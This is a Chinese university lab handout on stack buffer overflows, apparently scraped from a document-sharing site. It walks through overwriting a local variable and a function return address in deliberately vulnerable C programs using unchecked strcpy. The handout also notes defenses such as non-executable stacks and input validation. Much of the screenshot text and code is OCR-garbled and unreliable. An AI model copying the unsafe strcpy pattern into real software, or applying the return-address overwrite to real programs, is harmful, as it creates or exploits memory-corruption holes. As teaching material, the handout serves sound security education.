网络安全试验二_第1页
网络安全试验二_第2页
网络安全试验二_第3页
网络安全试验二_第4页
网络安全试验二_第5页
已阅读5页,还剩13页未读 继续免费阅读

付费下载

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、WOR格式实验二栈溢出实验【实验内容】利用栈溢出修改变量值利用栈溢出修改函数返回地址,运行恶意代码【实验类型】验证型实验【实验学时】 3学时【实验原理】如果向栈上声明的缓冲区中复制数据,但是复制到数据量又比缓冲区大的时候,就会发生栈溢出。在栈上声明的各种变量的位置紧临函数调用程序的返回地址。若用户输入的数据未经验证就传递给strcpy 这样的函数,则会导致变量值被攻击者指定的值所改写或调用函数的返回地址将被攻击者选择的地址所覆盖,打乱程序正常运行流程,转而执行恶意代码。防范栈溢出的有效方法有:禁止栈执行,从而阻止攻击者植入恶意代码;编写安全可靠的代码,始终对输入的内容进行验证;利用编译器的边界

2、检查实现栈保护。【实验环境】Linux 实验台(CentOS)gcc和gdb 工具【实验步骤】打开Linux实验台,输入用户名和口令,进入系统。一、修改变量值(1) 新建 stackoverl.c 文件: touch stackoverl.c ;(2) 编辑stackover1.c 文件:vim stackover1.c ,按i键进如编辑模式,输入示例程序 1 ,按Esc键退出编辑模式,进入命令行,输入:wq保存并退出文件编辑,上述过程如图3.5.3-7和图3.5.3-8所示;专业资料整理WOR格式CentOS release 5.2 (Fina L ):hiernc 2.6.18-92 .

3、e li b on « n i 6H&lo匚a I host login: ront /assuord:ast login: Ued. Ju 1 rootsIdca Lhost Id Iroott?loca lhost #Z1 18:46:19 on ttyl tnucli stackover 1 c uim starkouerl_cij>i i d runct ion Irli i r *str )char buf LI;i it x=:strcpy(buf jStr ): printf(:l li t mei i h ( i nt <i i- g c r u

4、hit rL * tii q <u ) f uinct ion (argvt 1);(3) 查看编辑结果:cat stackoverl.c ,如图 3.5.3-9 所示;IrootO loca Uiost J 1# ost stacknuer1.o tt include <stdio hH include <string.h>mid Iunct louCclior «str )cher buf1H1;int x=10:strcpy(bufstr );pr intf ("x-ZdXn"):i nt ma i n C ii)t cirgc j

5、char J )funct iun CrgvE11);return Bi丁(4) 生成可执行文件:gcc stackoverl.c- o stackoverl(5)运行执行文件:如图./ stackoverl ABCDE,执行结果 3.5.3-10 所IrootgloGBdgt nt gcc stackoverl ,c ; stackoverl naotGloca Shost JB ./stackoverl ABCDEx=10专业资料整理WOR格式从结果中可以看出, x的值为程序中的设定值10;(6) 在内存中x 紧邻buf ,所以输入 溢出,以修改x所在地址空11个字符制造栈缓冲区Thl 占

6、 Ar /r匕/ 一丄一>1 八 f z" l l l i/l 二厶4lAFl JtltIqIc 厂存 LIrouLQloc&lhosl 111 . zstackoverl rtBCDEFCHIJK <=75x的值为75,对应K的ASCII码,x的值发生改变;(7) 利用perl命令输入适当的字符串,的值,如修改为30,十将x的值修改为任意指定x的值为30,修改成功。示例程序1:#include <stdio.h>#include <string.h>void function(char * str)char buf1O;int x=10;

7、strcpy(buf,str);printf("x=%dn",x);int main(int argc,char * argv)function(argv1);return 0;二、修改函数返回地址,运行恶意代码(1)参照上述步骤,新建stackover2.c 文件,输入示例程序2,生成可执行文件stackover2 ;专业资料整理WOR格式(2)运行可执行文件并查看结果:图3.5.3-13 所示;./ stackover2 AAAAA,结果如专业资料整理WOR格式root G 1 oca 1 ho stit. Z£±&ckoverZ RAAAA

8、 Hridrisss oT foaE8xflB4B3c41 ddrcs s of r1ly stsck 口oklike:Hx34R4匚HBxtfBdUbccBxb£ t: 3aZ<l0 x.bC r: 3 n JNTBicbf c3q 9CjLJ1xhfr hUHBxBR-4fl4RBxbi cJoca?AAHH1 olj ±li c stock l-oolt s 1 i kc :U xbf e3a cadHK804C5eeHx4H1«K 11414 1Bxbfe3a950R xbT n3ti 30日e 3a c a?从结果中可以看出程序运行的栈情fo函数的

9、返回地址位于7个位置上,bar况,o 第的函数入口地址为0x08048421 ;随意输入多个字符制造栈溢./ stackover2 'perl pri 图,A行运x25结果出:ent7比:303卜|所示£临比"m . i i”h山孑.二j w i iil n J站15EEOffncntat. ion 心u 1 t(4)构造输入字符串,将第 7个位置修改为bar函数入口地址,即修改foo函数的返回地址为bar函数的入口地址,以修改程序运行流程:1 w.I Pfstack°veiia'nerl 伦 :冈刑吧丁 F佝图xo8 ”运行结果如图二;3.5.3

10、-17 所示;专业资料整理WOR格式bar函数运行,打印出“ Hi!You ' ve been hacked! ”,攻击成功。通常我们无法获取函数的地址和程序运行时栈的情况,需要通过反编译来查看变量地址或函数的入口地址,通过深入理解程序运行时的内存分配来计算函数返回地址在内存中的位 置,以便达到修改程序运行流程、执行恶意代码的目的示例程序2#include <stdio.h>#include <string.h>void foo(const char *input)char buf1O;printf("My stack looks like:n%p n

11、%p n%p n%p n%p n%p n%pn%p n n"); strcpy(buf,input);printf("%sn",buf);printf("Now the stack looks like:n%p n%p n%p n%p n%p n%p n%p n%p n n");void bar(void)printf("Hi!You've been hacked!n");int main(int argc,char *argv)printf("Address of foo=%p n",foo);

12、printf("Address of bar=%p n",bar);foo(argv1);return 0;【实验思考】尝试分析并画出上述程序的栈结构,可借助gdb命令;尝试在Windows环境下进行上述实验,并分析与环境下的异同;Linu以示例程序3为例,通过计算快速实x根据程序运行时的内存分配原理计算函数的返回地址;现nevercalled 函数的运行。示例程序3#include <stdio.h>#include <string.h>void nevercalled()printf("never calledn");专业资料

13、整理WOR格式exit(O);void functioncalled(char *arg)专业资料整理WOR格式char buf1O;int x,y, z,w;strcpy(buf,arg);int main(int argc,char * argv)functioncalled(argv1);return 0;id rGi_r1t iir f j nptitJ"er hirf ih):pri ntiV-Vi £):(buf ji nput)s.trcpi|Jprint fC“biifr<pr i nt f j ;id bartvQiAJi I il H 1 厂jpr

14、i ntFJ > ®- jm_La rh. 1 曲尸,111 i| ji耳: iIf!8m,:® 11丿 JI<ha i n ( i nt nr<jcfchnrrq*vl 1)pri nt1LJ AJ w二:p、十加);pr i ittiVb1 uli p* l上 bar) Jv1fniiHaruui' 1)专业资料整理WOR格 式roatlocdlliost "Jtt »/stackuver2 白朋加Adress of foo=8x88483e4Adress of f00=0x8048421My 圧七ack looks 1ie

15、 :0xadb4c00x8B485f33 丈 hf 号?htuzqBxhf13dcZ0xbF33tlcSa0xbf93dc38BxBaiBIBl0xbfca7AAAAANuu the sLaclc 1 doles 1 i ke :0xbf93fca7R >c801 RSf 7I0x4141deZ40x4141410xbf33(lc50Bxbf33rtc300x80M81Bxbif 93rca7ftdress of foo-0xdB483e4 Adress of foo=0x8048421My stack 1ooks like: 0xe8fcBBx8H485f3Sxbf0c5ha4Bxhf Bc5hd40xhf Bc5bd0Hxhf8cSbh8日冥8048481BxbfBc7c33Now the stack looks I lie:Bxbf 8c7c930x80485f38«41415ba40x414141410x414141410x!H 14H10x41414141专业资料整理WOR格 式A4ress of foo0xO0484Zl My stdck looks I ike: 0xZ95-lctJ0x868

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

最新文档

评论

0/150

提交评论